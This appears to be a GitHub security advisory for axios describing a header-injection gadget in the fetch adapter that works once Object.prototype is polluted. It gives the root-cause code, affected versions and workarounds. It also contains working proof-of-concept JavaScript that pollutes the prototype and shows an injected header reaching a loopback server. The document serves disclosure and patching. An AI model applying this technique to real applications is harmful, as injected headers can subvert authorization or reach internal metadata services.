GitHub Advisoryadvisory · npm

GHSA-4hqw-qxg8-jxx2 Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders

MEDIUM Published 2026-09-30 Modified 2026-09-30 Official page ↗
Aliases
CVE-2026-101900
Ecosystem
npm
Packages
axios
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N
Weaknesses
CWE-1321, CWE-693, CWE-74
Reviewed
2026-09-30

Affected packages

• npm axios: >= 1.12.0, < 1.20.0 → fixed in 1.20.0

Description

Summary Axios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request. Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path. Impact An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic. Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties. Affected Functionality Affected: • Fetch adapter requests. • `resolveConfig()` handling of `utils.isFormData(data)`. • Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`. Not affected: • Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`. • Plain object request bodies rejected by current `isFormData()` plain-object guard. • Processes without prototype pollution. Technical Details `lib/helpers/resolveConfig.js` currently contains: ```js if (utils.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) { headers.setContentType(undefined); } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } } ``` Unlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`. Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' }); await axios.post(url, ['a', 'b'], { adapter: 'fetch' }); ``` Expected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header. Workarounds Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected. Original report Summary The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`. This is a patch mismatch for the FormData prototype-pollution header-injection class. Affected Version Validated on: • axios: `1.17.0` • commit: `4306df2` • runtime: Node.js `v24.15.0` Preconditions • Application uses `adapter: 'fetch'`. • A separate prototype-pollution primitive can write: • `Object.prototype[Symbol.toStringTag] = 'FormData'` • `Object.prototype.append = function () {}` • `Object.prototype.getHeaders = function () { ... }` • The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard. Root Cause `lib/adapters/http.js` contains: ```js data.getHeaders !== Object.prototype.getHeaders ``` But `lib/helpers/resolveConfig.js` only checks: ```js } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } ``` The fetch adapter calls `resolveConfig(config)` before dispatching the request. Impact An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks. Proof of Concept ```js import axios from './index.js'; import http from 'http'; const start = (handler) => new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (chunk) => (body += chunk)); req.on('end', () => handler(req, res, body)); }); server.listen(0, '127.0.0.1', () => resolve(server)); }); const stop = (server) => new Promise((resolve) => server.close(resolve)); const hits = []; const tag = Symbol.toStringTag; const server = await start((req, res, body) => { hits.push({ headers: req.headers, body }); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); }); try { Object.prototype[tag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); headers['X-Poisoned'] = 'yes'; return headers; }; await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], { adapter: 'fetch', timeout: 3000 }); console.log(hits[0]); } finally { delete Object.prototype[tag]; delete Object.prototype.append; delete Object.prototype.getHeaders; await stop(server); } ``` Observed wire request: ```json { "headers": { "x-poisoned": "yes", "content-type": "text/plain;charset=UTF-8", "content-length": "3" }, "body": "a,b" } ``` References • https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 • https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 • Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js` ---

Related

Alias · CVE (1)

  • CVE-2026-101900 Axios is a promise-based HTTP client for the browser and Node.js. vulnerability

Weakness · CWE (3)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
  • CWE-693 Protection Mechanism Failure weakness
  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness

References